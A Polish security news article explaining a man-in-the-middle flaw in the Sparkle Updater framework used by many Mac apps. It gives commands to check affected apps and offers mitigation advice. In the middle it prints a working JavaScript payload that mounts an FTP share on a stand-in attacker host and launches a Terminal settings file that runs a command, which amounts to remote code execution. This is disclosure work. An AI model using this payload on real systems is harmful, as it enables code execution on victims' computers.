W piątek Radek Karpowicz poinformował o dziurze w mechanizmie aktualizacji wykorzystywanym przez wiele popularnych aplikacji przeznaczonych na OS X. Ponieważ atak można z łatwością przeprowadzić w sieci lokalnej, na ryzyko podrzucenia backdoora narażony jest każdy użytkownik Maca, który aktualizuje swoje aplikacje będąc podpiętym do niezaufanej sieci.
Winna nieszyfrowana komunikacja
Odkryta przez Radka luka (a tak naprawdę 2 podatności) znajduje się we frameworku Sparkle Updater, który wykorzystywany jest przez wielu twórców aplikacji do obsługi aktualizacji. Działanie Sparkle Updatera można porównać do mechanizmu RSS. Developer ustawia część serwerową, tzw. serwer AppCast, który poprzez zmiany w pliku XML informuje klientów o najnowszej wersji aplikacji. O plik XML regularnie pyta wbudowana w daną aplikację cześć kliencka frameworka Sparkle.
Schemat komunikacji AppCast
Ze Sparkle Updatera korzystają m.in. tak znane aplikacje jak Adium, iTerm, GPG Keychain, Forklift, Facebook Origami, MacVim, Pixemlator, Skitch, Sublime, Transmission, Tunnelblick czy VLC. Więcej aplikacji wykorzystujących Sparkle Upadter znajdziecie tutaj, a jeśli chcecie sprawdzić, czy któraś z zainstalowanych przez was aplikacji korzysta ze Sparcle Updatera, wydajcie następujące polecenie:
find /Applications -name Sparkle.framework | awk -F'/' '{print $3}' | awk -F'.' '{print $1}'
lub lepiej — aby zweryfikować która z nich łączy się bez szyfrowania (a zatem umożliwia opisywane w tym artykule ataki) wydajcie następujące polecenie:
grep --include=Info.plist -A 1 -rn /Applications/ -e SUFeedURL
Atak MITM na mechanizm aktualizacji oprogramowania
Popmimo sugestii w dokumentacji, aby developerzy korzystali z HTTPS, sam serwer aktualizacji AppCast nie wymusza szyfrowania. Dlatego komunikacja niektórych z aplikacji (tych, których developerzy użyli protokołu HTTP zamiast HTTPS) jest podatna na atak MITM. Atakujący znajdujący się na trasie wędrówki komunikatu informującego o nowej wersji może go wtedy zmodyfikować.
Błędy tego typu uwielbiają agencje rządowe, gdyż kontrolując łącza internetowe dostawców sieci, mogą podrzucić wybranemu użytkownikowi “fałszywą” aktualizację, która zamiast dodania nowej funkcjonalności do danej aplikacji, po prostu podrzuci backdoora na jego komputer.
Ale użytkownika Maca niebędący na celu agencji rządowych też ma się czego obawiać. Atak MITM można bardzo łatwo przeprowadzić w sieci lokalnej, a zatem, w uproszczeniu, zagrożeniem są dla was wszyscy, którzy korzystają z tej samej sieci Wi-Fi (dowcipny kolega w pracy? złośliwy gość hotelowy? pracownik konkurencji na branżowej konferencji?).
Techniczny opis ataku
W przypadku Sparkle Updatera ściągane binaria z nową wersją aplikacji są podpisane i kliencka część frameworka weryfikuje podpis DSA. Nie można więc “zatrojanować” binarki w locie. Ale niestety, jeśli developer nie wymusił połączenia HTTPS, to pierwszym krokiem aktualizacji jest zawsze pobranie XML-a z instrukcjami, który — i to jest clue pierwszej podatności — jest po stronie klienta renderowany za pomocą komponentu WebView. Atakujący może więc podrzucić kod JavaScript (lub HTML), który zostanie wyświetlony ofierze.
Fałszywa wiadomość od przechwytującego proces aktualizacji
Radek, zainspirowany opisem ataku XSS to RCE in Atlassian Hipchat zaproponował następujący payload:
window.location = 'ftp://anonymous:nopass@our-fake-server.com/';
window.setTimeout(function() {
window.location = 'file:///Volumes/our-fake-server.com/UPGRADE.terminal';
}, 1000);
Plik UPGRADE.terminal to wyeksportowane z aplikacji Terminal ustawienia. Zawierają one włączoną opcję “run command on startup“:
Przygotowywanie payloadu z wywoływanym automatycznie poleceniem
Otworzenie zasobu ftp:// powoduje jego automatyczne podmontowanie pod ścieżką /Volumes, a następnie uruchomienie aplikacji do obsługi rozszerzenia .terminal, którą jest terminal, wykonujący podstawione polecenie.
Oto video obrazujące skutki ataku:
Na marginesie, jeśli ktoś od RCE woli DoS, jako payload może ustawić XXE (XML External Entity):
Payload powodujący DoS
Wynik działania payloadu DoS
Zaktualizuj swoje aplikacje
Sparkle już wydał poprawioną wersję swojego frameworka. Developerzy, którzy nie wymuszali połączeń HTTPS zapewne niebawem “wypchną” aktualizację.
Doraźnie problem można rozwiązać poprzez ręczną podmianę adresu do pobierania informacji na temat aktualizacji z http:// na https://. Zmiany należy dokonać w pliku Info.plist aplikacji, zmieniając schemę dla klucza SUFeedURL (ma to oczywiście sens tylko wtedy, kiedy serwer twórcy aplikacji wspiera https). Lokalizację do podmiany wskaże to polecenie:
grep --include=Info.plist -A 1 -rn /Applications/ -e SUFeedURL
PS. Facebook wypłacił Radkowi bug bounty za zgłoszenie niniejszego błędu. Podobnie postąpi Sparkle, bo jak zapowiedział jeden z developerów, porneL, niebawem w Sparkle rusza bug bounty. Gratulujemy tym bardziej, że od pół roku mamy przyjemność współpracować z Radkiem przy kilku projektach.